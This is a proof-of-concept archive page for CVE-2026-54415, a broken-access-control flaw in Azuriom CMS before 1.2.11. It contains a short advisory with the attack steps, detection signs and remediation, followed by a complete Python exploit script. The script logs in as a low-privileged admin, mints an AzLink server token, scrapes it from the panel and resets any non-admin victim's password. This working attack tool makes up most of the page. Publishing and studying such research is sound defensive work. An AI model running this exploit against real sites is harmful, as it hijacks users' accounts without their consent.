PoC Archive PoC Archive
High CVE-2026-54415 patched

Azuriom CMS Broken Access Control — Account Takeover via AzLink Server Token — CVE-2026-54415

by Bobur Abdugafforov ([@abdugafforov-bobur](https://github.com/abdugafforov-bobur)) · 2026-07-05

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06-17
Author / ResearcherBobur Abdugafforov (@abdugafforov-bobur)
CVE / AdvisoryCVE-2026-54415
Categoryweb
SeverityHigh
CVSS ScoreCVSS 3.1: 8.1 High (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N); CVSS 4.0: 8.6 High
StatusPoC
Tagsazuriom, cms, broken-access-control, cwe-862, cwe-269, privilege-escalation, account-takeover, php, laravel, azlink
RelatedN/A

Affected Target

FieldValue
Software / SystemAzuriom CMS
Versions Affected< 1.2.11 (fixed in 1.2.11, commit 4b744bc)
Language / PlatformPHP / Laravel
Authentication RequiredYes — a low-privileged admin account holding only the admin.access permission
Network Access RequiredYes

Summary

Before Azuriom 1.2.11, the admin panel’s server-management routes (/admin/servers/*) had no dedicated permission gate — any admin-panel user with just the base admin.access permission could reach them, since the admin.servers permission did not exist yet. Creating a server of type mc-azlink mints a 32-character AzLink server token without requiring a reachable game server (its verifyLink() check unconditionally returns true). That token authenticates against the AzLink API, whose /api/azlink/password endpoint changes any non-admin user’s password by game_id with no additional checks — turning a minor admin-panel permission into full account takeover of any non-admin user.


Vulnerability Details

Root Cause

Missing authorization (CWE-862) on the servers resource routes in routes/admin.php prior to 1.2.11 — they were reachable by any user passing the blanket can:admin.access middleware, with no granular admin.servers permission (which the vendor introduced only in the fix). Combined with improper privilege management (CWE-269) in the AzLink password-reset endpoint, which only refuses to act on accounts where isAdmin() is true, leaving every non-admin account resettable by anyone holding a valid server token.

Attack Vector

  1. Authenticate as a low-privileged admin holding only admin.access (no admin.servers, which did not exist pre-fix).
  2. POST /admin/servers with type=mc-azlink and any dummy address — the server is saved and a 32-char token is minted (verifyLink() for mc-azlink always returns true).
  3. GET /admin/servers/{id}/edit and extract the token echoed inside the AzLink setup command (/azlink setup <url> <token>).
  4. POST /api/azlink/password with header Azuriom-Link-Token: <token> and body game_id=<victim>&password=<new> to reset the victim’s password (rejected only for admin accounts).
  5. Log in as the victim with the newly-set password — full account takeover.

Impact

Any user with minimal admin-panel access (admin.access only, no server-management rights) can take over any non-admin user account on the platform without any interaction from the victim or a higher-privileged admin.


Environment / Lab Setup

Target:   Local Azuriom 1.2.10 instance (verified end-to-end by the researcher)
Attacker: Python 3 + requests (pip install requests)

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'

The script logs in as the low-privileged admin, creates an mc-azlink server to mint a token, extracts that token from the server edit page, calls the AzLink /api/azlink/password endpoint to reset the target victim’s password by game_id, and prints the recovered token plus the result of the takeover attempt.


Detection & IOCs

Signs of compromise:

  • Newly created mc-azlink servers with implausible/dummy addresses
  • Unexplained password or email changes on non-admin accounts correlated with AzLink API calls
  • Admin accounts with only admin.access performing server-management actions

Remediation

ActionDetail
Primary fixUpgrade to Azuriom 1.2.11 or later, which introduces the admin.servers permission and gates all server-management routes behind it
Interim mitigationAudit and revoke unexpected admin_servers tokens, enforce least privilege on which admin roles hold admin.access, and monitor AzLink API traffic for tokens not tied to legitimate game servers

References


Notes

Mirrored from https://github.com/abdugafforov-bobur/CVE-2026-54415-PoC on 2026-07-05. Researcher states the PoC was verified end-to-end against a local Azuriom 1.2.10 instance; published for defensive/educational purposes against an already-patched version (fixed in 1.2.11).

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#!/usr/bin/env python3
"""
CVE-2026-54415 — Azuriom CMS (< 1.2.11) Broken Access Control -> Account Takeover.

A low-privileged admin (holding only `admin.access`) can reach the unprotected
server-management routes, create a `mc-azlink` server, obtain its 32-char server
token, and use the AzLink API to reset any non-admin user's password.
"""

import argparse
import re
import sys

try:
    import requests
except ImportError:
    sys.exit("[!] Missing dependency: pip install requests")

# ----------------------------------------------------------------------------- #
#  cosmetics
# ----------------------------------------------------------------------------- #
class C:
    """ANSI colours; auto-disabled when stdout is not a TTY or --no-color is set."""
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; B = "\033[34m"
    C = "\033[36m"; W = "\033[97m"; D = "\033[2m"; BOLD = "\033[1m"; X = "\033[0m"

    @classmethod
    def off(cls):
        for k in ("R", "G", "Y", "B", "C", "W", "D", "BOLD", "X"):
            setattr(cls, k, "")


BANNER = (
    "{W}{BOLD}CVE-2026-54415{X}  {D}·{X}  "
    "Azuriom CMS < 1.2.11  {D}·{X}  Broken Access Control -> Account Takeover\n"
)

STEP = 0
def step(msg):
    global STEP
    STEP += 1
    print(f"{C.B}{C.BOLD}[{STEP}]{C.X} {msg}")

def ok(msg):    print(f"    {C.G}{C.X} {msg}")
def info(msg):  print(f"    {C.D}·{C.X} {msg}")
def bad(msg):   print(f"    {C.R}{C.X} {msg}")
def loot(k, v): print(f"    {C.Y}{k}:{C.X} {C.BOLD}{v}{C.X}")

# ----------------------------------------------------------------------------- #
#  exploit
# ----------------------------------------------------------------------------- #
CSRF_RE = re.compile(r'name="_token"\s+value="([^"]+)"')
XSRF_META_RE = re.compile(r'<meta name="csrf-token" content="([^"]+)"')
# Token is echoed back inside the AzLink setup command: "/azlink setup <url> <TOKEN>"
SETUP_TOKEN_RE = re.compile(r'azlink[\s_]setup[^\s]*\s+\S+\s+([A-Za-z0-9]{32})')
ANY_TOKEN_RE = re.compile(r'\b([A-Za-z0-9]{32})\b')


def get_csrf(session, url):
    r = session.get(url)
    r.raise_for_status()
    m = CSRF_RE.search(r.text) or XSRF_META_RE.search(r.text)
    if not m:
        raise RuntimeError(f"Could not find CSRF token at {url}")
    return m.group(1), r.text


def login(session, base, user, password):
    step(f"Authenticating as low-priv admin {C.W}{user}{C.X}")
    token, _ = get_csrf(session, f"{base}/user/login")
    r = session.post(
        f"{base}/user/login",
        data={"_token": token, "email": user, "password": password, "remember": "on"},
        allow_redirects=True,
    )
    if "/user/login" in r.url and "logout" not in r.text.lower():
        raise RuntimeError("Login failed — check credentials.")
    ok("Authenticated (session established).")


def create_server(session, base, name, address):
    step(f"Creating {C.W}mc-azlink{C.X} server (the access-control bypass)")
    info(f"name={name!r} address={address!r} — verifyLink() returns true, no real server needed")
    token, _ = get_csrf(session, f"{base}/admin/servers/create")
    r = session.post(
        f"{base}/admin/servers",
        data={
            "_token": token,
            "name": name,
            "type": "mc-azlink",   # verifyLink() unconditionally returns true
            "address": address,
            "home_display": "1",
        },
        allow_redirects=True,
    )
    r.raise_for_status()
    if "/admin/servers/create" in r.url:
        raise RuntimeError("Server creation rejected — target looks PATCHED (needs admin.servers).")
    ok("Server created — reached a route that should have required admin.servers.")


def extract_token(session, base):
    step("Extracting the minted server token from the panel")
    r = session.get(f"{base}/admin/servers")
    r.raise_for_status()
    edit_ids = re.findall(r'/admin/servers/(\d+)/edit', r.text)
    ids = sorted({int(i) for i in edit_ids}) or [1]
    for sid in reversed(ids):
        e = session.get(f"{base}/admin/servers/{sid}/edit")
        if e.status_code != 200:
            continue
        m = SETUP_TOKEN_RE.search(e.text)
        if m:
            loot(f"server #{sid} token", m.group(1))
            return m.group(1)
        for cand in ANY_TOKEN_RE.findall(e.text):
            if cand.isalnum() and any(c.isdigit() for c in cand) and any(c.isalpha() for c in cand):
                loot(f"server #{sid} token (heuristic)", cand)
                return cand
    raise RuntimeError("Could not extract server token from the panel.")


def takeover(session, base, server_token, game_id, new_password):
    step(f"Resetting victim {C.W}game_id={game_id}{C.X} password via AzLink API")
    r = session.post(
        f"{base}/api/azlink/password",
        headers={"Azuriom-Link-Token": server_token, "Accept": "application/json"},
        data={"game_id": str(game_id), "password": new_password},
    )
    if r.status_code in (200, 204):
        ok(f"Password for game_id={game_id} set to {C.BOLD}{new_password}{C.X}")
        print(f"\n{C.G}{C.BOLD}  ==> ACCOUNT TAKEN OVER — log in as the victim with that password.{C.X}\n")
        return True
    if r.status_code == 422:
        bad(f"422 — game_id not found, or target is an admin (admins are protected).")
        info(r.text[:200])
    else:
        bad(f"Unexpected status {r.status_code}")
        info(r.text[:200])
    return False


# ----------------------------------------------------------------------------- #
#  cli
# ----------------------------------------------------------------------------- #
def examples():
    # Built at call time (after colour is decided) so piped --help stays clean.
    return f"""{C.BOLD}examples{C.X}
  {C.D}# full account takeover{C.X}
  python3 poc.py --url https://target.tld \\
      --admin-user mod@site.tld --admin-pass 'Passw0rd' \\
      --victim-game-id 1001 --new-password 'Owned123!'

  {C.D}# safe demo — stop after minting a server token, touch no victim{C.X}
  python3 poc.py --url https://target.tld \\
      --admin-user mod@site.tld --admin-pass 'Passw0rd' \\
      --victim-game-id 0 --token-only

  {C.D}# self-signed / lab HTTPS{C.X}
  python3 poc.py --url https://10.0.0.5 --insecure ...
"""


def main():
    # Decide colour BEFORE building the parser, so --help (handled inside
    # parse_args) and piped output never leak raw escape codes.
    if "--no-color" in sys.argv or not sys.stdout.isatty():
        C.off()

    p = argparse.ArgumentParser(
        prog="poc.py",
        description=f"{C.BOLD}CVE-2026-54415{C.X} — Azuriom CMS Broken Access Control -> Account Takeover",
        epilog=examples(),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    tgt = p.add_argument_group("target")
    tgt.add_argument("--url", required=True, metavar="URL", help="Base URL, e.g. https://target.tld[:port]")
    tgt.add_argument("--insecure", action="store_true", help="Skip TLS cert verification (self-signed lab HTTPS)")
    tgt.add_argument("--timeout", type=float, default=20, metavar="SEC", help="Per-request timeout (default 20)")

    cred = p.add_argument_group("attacker credentials (low-priv admin: admin.access only)")
    cred.add_argument("--admin-user", required=True, metavar="USER", help="Attacker login email/username")
    cred.add_argument("--admin-pass", required=True, metavar="PASS", help="Attacker password")

    act = p.add_argument_group("action")
    act.add_argument("--victim-game-id", required=True, metavar="ID", help="game_id of the non-admin victim")
    act.add_argument("--new-password", default="Pwn3d!TakenOver", metavar="PW", help="New password to set on the victim")
    act.add_argument("--token-only", action="store_true", help="Stop after obtaining the server token (no victim touched)")

    adv = p.add_argument_group("advanced")
    adv.add_argument("--server-name", default="poc-azlink", metavar="NAME", help="Name for the created server")
    adv.add_argument("--server-address", default="127.0.0.1", metavar="ADDR", help="Dummy address (never contacted)")
    adv.add_argument("--no-color", action="store_true", help="Disable coloured output")

    args = p.parse_args()

    print(BANNER.format(W=C.W, BOLD=C.BOLD, D=C.D, X=C.X))
    print(f"  {C.D}target{C.X} {args.url}\n")

    base = args.url.rstrip("/")
    s = requests.Session()
    s.headers.update({"User-Agent": "CVE-2026-54415-PoC"})
    s.verify = not args.insecure
    s.request = _timeout_wrapper(s.request, args.timeout)
    if args.insecure:
        try:
            requests.packages.urllib3.disable_warnings()  # silence InsecureRequestWarning
        except Exception:
            pass

    try:
        login(s, base, args.admin_user, args.admin_pass)
        create_server(s, base, args.server_name, args.server_address)
        token = extract_token(s, base)
        if args.token_only:
            print(f"\n{C.G}Done (--token-only). No victim account was modified.{C.X}")
            return
        print()
        ok_ = takeover(s, base, token, args.victim_game_id, args.new_password)
        sys.exit(0 if ok_ else 2)
    except KeyboardInterrupt:
        sys.exit("\n[!] Interrupted.")
    except Exception as e:
        sys.exit(f"{C.R}[!] {e}{C.X}")


def _timeout_wrapper(fn, timeout):
    def wrapped(method, url, **kw):
        kw.setdefault("timeout", timeout)
        return fn(method, url, **kw)
    return wrapped


if __name__ == "__main__":
    main()